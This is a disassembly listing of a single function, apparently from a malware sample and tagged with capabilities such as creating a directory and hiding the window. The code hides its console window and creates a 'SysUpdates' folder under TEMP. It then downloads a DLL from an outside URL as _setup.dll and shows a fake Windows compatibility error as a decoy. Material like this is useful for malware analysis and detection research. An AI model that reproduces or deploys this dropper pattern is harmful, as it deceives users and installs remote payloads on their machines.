Function at 0x4016d4
Capabilities:
Create directory
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x70
call sym.___main
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [ebp - 0x30], str.https:__goo.space_app_dll.dll
mov dword [esp], str.temp
call sym.__wgetenv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401754
mov dword [esp + 4], str.Temp_path_not_found.
mov dword [esp], sym.imp.libstdc_6.dll_std::wcerr
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov dword [esp], sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____
mov ecx, eax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
sub esp, 4
mov ebx, 1
jmp 0x4018b9
lea eax, [ebp - 0x11]
mov ecx, eax
call fcn.004019f4
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x11]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_wchar_t_const__std::allocator_wchar_t__const_
sub esp, 8
lea eax, [ebp - 0x48]
mov dword [esp + 8], str.SysUpdates
lea edx, [ebp - 0x2c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____wchar_t_const_
lea eax, [ebp - 0x2c]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0x11]
mov ecx, eax
call sym.std::allocator_wchar_t_::allocator__
lea eax, [ebp - 0x48]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CreateDirectoryW_8
sub esp, 8
test eax, eax
jne 0x4017da
call sym._GetLastError_0
cmp eax, 0xb7
je 0x4017da
mov eax, 1
jmp 0x4017df
mov eax, 0
test al, al
je 0x401826
call sym._GetLastError_0
mov ebx, eax
mov dword [esp + 4], str.Failed_to_create_directory._Error_code:
mov dword [esp], sym.imp.libstdc_6.dll_std::wcerr
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov dword [esp], ebx
mov ecx, eax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___unsigned_long_
sub esp, 4
mov dword [esp], sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____
mov ecx, eax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
sub esp, 4
mov ebx, 1
jmp 0x4018af
lea eax, [ebp - 0x60]
mov dword [esp + 8], str._setup.dll
lea edx, [ebp - 0x48]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar
lea eax, [ebp - 0x60]
mov dword [esp], eax
call sym.fileExists_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
test al, al
je 0x401874
mov dword [esp + 4], str.Compatibility_Error
mov dword [esp], str.This_version_of_the_file_is_not_compatible_with_the_version_of_Windows_youre_running._Check_your_computers_system_information_to_see_whether_you_need_an_x86__32_bit__or_x64__64_bit__version_of_the_program.
call sym.showErrorMessageBox_wchar_t_const__wchar_t_const_
mov ebx, 1
lea eax, [ebp - 0x60]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x4018af
lea eax, [ebp - 0x60]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov edx, eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.downloadFile_wchar_t_const__wchar_t_const_
mov dword [esp + 4], str.Compatibility_Error
mov dword [esp], str.This_version_of_the_file_is_not_compatible_with_the_version_of_Windows_youre_running._Check_your_computers_system_information_to_see_whether_you_need_an_x86__32_bit__or_x64__64_bit__version_of_the_program.
call sym.showErrorMessageBox_wchar_t_const__wchar_t_const_
mov dword [esp], 0
call sym._ExitProcess_4
lea eax, [ebp - 0x48]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x401905
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret